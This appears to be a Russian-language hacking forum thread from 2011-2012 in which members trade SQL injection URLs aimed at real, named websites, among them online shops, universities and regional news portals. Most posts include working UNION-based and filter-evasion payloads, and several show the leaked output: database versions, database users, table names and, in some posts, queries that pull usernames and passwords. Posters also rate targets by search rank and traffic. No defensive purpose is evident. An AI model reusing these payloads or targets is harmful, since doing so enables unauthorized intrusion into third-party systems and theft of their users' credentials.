SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://www.kokoliko.com/classifieds_ad.php?num=666+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40-- 
    Социальная сеть Ганы

    Database Version: 5.1.60-community-log
    Database name: thetrack_tv
    User name: thetrack_corn@localhost
     
    2 people like this.
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://shchelkovo-net.ru/art.php?id=102' - скуля
    http://shchelkovo-net.ru/art.php?id=-102'+Union+select+version(),2+--+ - версия вывод в тайтле
    http://shchelkovo-net.ru/art.php?id=-102'+Union+select+concat_ws(0x3a,username,user_password),2+from+for.phpbb_users--+ - выводим юзеров
     
    #14502 stepashka_, 27 Dec 2011
    Last edited by a moderator: 27 Dec 2011
    3 people like this.
  3. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    http://www.dedalusbooks.com/catalog.php?id=9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+INFORMATION_SCHEMA.TABLES+--+
     
  4. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Version:5.0.77-log
    User: [email protected]
    Database:gucomics_main


    Version:5.0.22
    User: guadmin@localhost
    Database: guforums
     
    #14504 spherics, 27 Dec 2011
    Last edited: 27 Dec 2011
    1 person likes this.
  5. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.caddyforacure.com/auction_details.php?AuctionID=14/**/or(1)group%09by%0Aconcat((/*!select*/(version())/*!fRom*/(information_schema.tables)limit/**/0,1),rand(0)|0)+having+max(0)#
     
    _________________________
    1 person likes this.
  6. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    ТИЦ 700
    Code:
    http://hvacnews.ru/reviews/index.php?id=999999999+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6--+
    root@localhost:hvacnews:4.1.22
    Code:
    http://hvacnews.ru/reviews/index.php?id=999999999+union+select+1,group_concat%280x3a,status,email%29,3,4,5,6+from+users--
    ;)

    Code:
    http://green-wind.ru/foto2.php?id=99999999+union+select+@@version,2,3,4,5,6,7,8--+
    5.0.92-log
    Code:
    http://green-wind.ru/foto2.php?id=99999999+union+select+group_concat(table_name),2,3,4,5,6,7,8+from+information_schema.tables--+
     
    #14506 aydin-ka, 30 Dec 2011
    Last edited: 30 Dec 2011
    5 people like this.
  7. alias6969

    alias6969 Member

    Joined:
    3 Apr 2011
    Messages:
    27
    Likes Received:
    11
    Reputations:
    6
    5.0.92-community:portalme_alibaba@localhost:portalme_alibaba
    Code:
    http://www.portalmercosur.com/buy.php?row=4&id=-1+union+antidef+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8+from+odmin+--+
     
    7 people like this.
  8. linvel

    linvel Elder - Старейшина

    Joined:
    5 Aug 2010
    Messages:
    316
    Likes Received:
    72
    Reputations:
    16
    Code:
    http://www.ladyfest.com.ua/index.php?page_id=7&news_id=20'-999.9+union+select+1,2,3,4--
    
    http://www.apserver.org.ua/forum.php?d=view&fid=5'&tid=141-999.9+union+select+1,2,3,4,5,6,7--
    
    http://shop.lepel.by/shop_view.php?cat=11'&id=2913-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    
    http://www.zorat.com.ua/view_page.php?id_radius=15&znath=5x139.7.'-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12--
    
    http://shop.lepel.by/shop_view2.php?firm=28&cat=11'&id=2992-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    
    http://klm.net.ua/view_post.php?cat=27'-999.9+union+select+1,2,3,4-- 
    
    http://www.motoextreme.spb.ru/catalog.php?type=1'&trademark=41&subtype=59&mode=1-999.9+union+select+1,2,3,4,5,6,7,8,9--
    
    http://vuliktoys.com.ua/index.php?option=com_content&view=category&id=2&Itemid=6&lang=uk'-999.9+union+select+1,2,3,4--
    
    http://sibregion.ru/?module=links&part=go'&link=73358-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11--
     
    2 people like this.
  9. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тИЦ 325
    Code:
    http://estima.ru/?DTBrand=4045&action=DAProduct7&EstimaProduct=999999999/*--*/union/*--*/select/*--*/1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
    estima@localhost:estima:5.1.56
    Code:
    http://estima.ru/?DTBrand=4045&action=DAProduct7&EstimaProduct=999999999/*--*/union/*--*/select/*--*/1,2,File_Priv/*--*/from/*--*/mysql.user--
    N :(
    Code:
    http://estima.ru/?DTBrand=4045&action=DAProduct7&EstimaProduct=999999999/*--*/union/*--*/select/*--*/1,2,group_concat%28column_name%29/*--*/from/*--*/DTAddressCatalog--
     
    4 people like this.
  10. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Code:
    http://www.gogojewelry.com/enlarge.php?num=666-666.666+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),3,4,5,6,7,8,9,10,11,12,13--
    Шоп ювелирка, в базе ничего интересного :(

    Database Version: 5.0.91-log
    Database name: GogoAdmin
    User name: [email protected]
     
    1 person likes this.
  11. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    read_aleks@localhost:5.1.56-log:read_3dsartDB
     
    2 people like this.
  12. linvel

    linvel Elder - Старейшина

    Joined:
    5 Aug 2010
    Messages:
    316
    Likes Received:
    72
    Reputations:
    16
    Code:
    
    http://www.crownofmaine.com/maine-products/product_detail.php?id=786-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--  (Blind Injection)
    
    http://www.ath-elite.com.au/trainers.php?id=25-999.9+union+select+1,2,3,4,5--  (MYSQL Injection)
    
    http://www.middlehamparkracing.net/horse.php?id=61-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12--  (Blind Injection)
    
    http://www.lpoolcomp.co.uk/news.php?id=1037-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11--  (MYSQL Injection)
    
    http://www.huntearth.com/related_links.php?ID=11708-999.9+union+select+1,2,3,4,5--  (MYSQL Injection)
    
    http://www.lccc.co.uk/index.php?p=news%26id=1734-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28  (MSSQL Injection)
     
    1 person likes this.
  13. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    pr:3
     
    #14513 BLurpi^_^, 2 Jan 2012
    Last edited: 2 Jan 2012
  14. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    http://er-region.ru/about/projects/news/?id=220+and+1=0+union+select+1,2,group_concat%28column_name+separator+0x3c62723e%29,4+from+information_schema.columns+where+table_name=0x625f666f72756d5f656d61696c--/

    Дед мороз - единорос...
     
    4 people like this.
  15. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Чтобы не быть голословным:
    Code:
    http://www.grupotvcable.com.ec/tvcable/ppv/ver/-147381+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+f
    P.S. Сайт кстати траффистый ;)
     
    #14515 Ereee, 3 Jan 2012
    Last edited by a moderator: 3 Jan 2012
    2 people like this.
  16. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Database Version: 5.0.87-community-nt
    Database name: hscweekly
    User name: hscweekly@localhost

    Университет (Южная Калифорния)

    ТИЦ: 1100
    PR: 8




    Code:
    http://spenserians.cath.vt[COLOR=Red].edu[/COLOR]/TextRecord.php?action=GET%26textsid=34105-000.001+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
    Database Version: 5.0.92-log
    Database name: spenserians
    User name: spens_admin@localhost

    Технологический университет (Вирджиния)

    ТИЦ: 850
    PR: 8
     
    #14516 HellFire, 3 Jan 2012
    Last edited by a moderator: 3 Jan 2012
    3 people like this.
  17. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    тИЦ 40
    Code:
    http://ochki.intermoda.ru/pro/?s=-19+union+select+1,2,3,concat(login,0x3a,pass),5,6,7,8,9,10,11+from+Partner--+f
     
    4 people like this.
  18. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    Code:
    http://www.hollowaysofludlow.com/look.php?P1=-4'+union+select+1,2,3,concat(version(),0x20,database(),0x20,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--+
    5.0.77
    DeveolpmentHolly
    devholly@localhost


    Code:
    http://needthelook.com/look.php?id=-8153+union+select+1,2,concat(version(),0x20,database(),0x20,user()),4,5,6,7,8,9,10,11,12--
    5.0.91-log
    db387346179
    [email protected]
     
    #14518 jecka3000, 3 Jan 2012
    Last edited by a moderator: 3 Jan 2012
    1 person likes this.
  19. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    723
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://evergreenmtb.org/recreation/calendar.php?event_id=-9874+UNION+SELECT+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17--
    [email protected]:5.1.53-log:bbtc

    GooglePR: 5
     
    2 people like this.
  20. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    PR 8

    http://www.usc.es/ceta/novas/nova.php?id_nova=-84+union+select+1,2,3,version(),5,6,7--

    version: 5.0.51a-24+lenny5-log
     
    #14520 Bramin, 5 Jan 2012
    Last edited by a moderator: 5 Jan 2012
    6 people like this.
Thread Status:
Not open for further replies.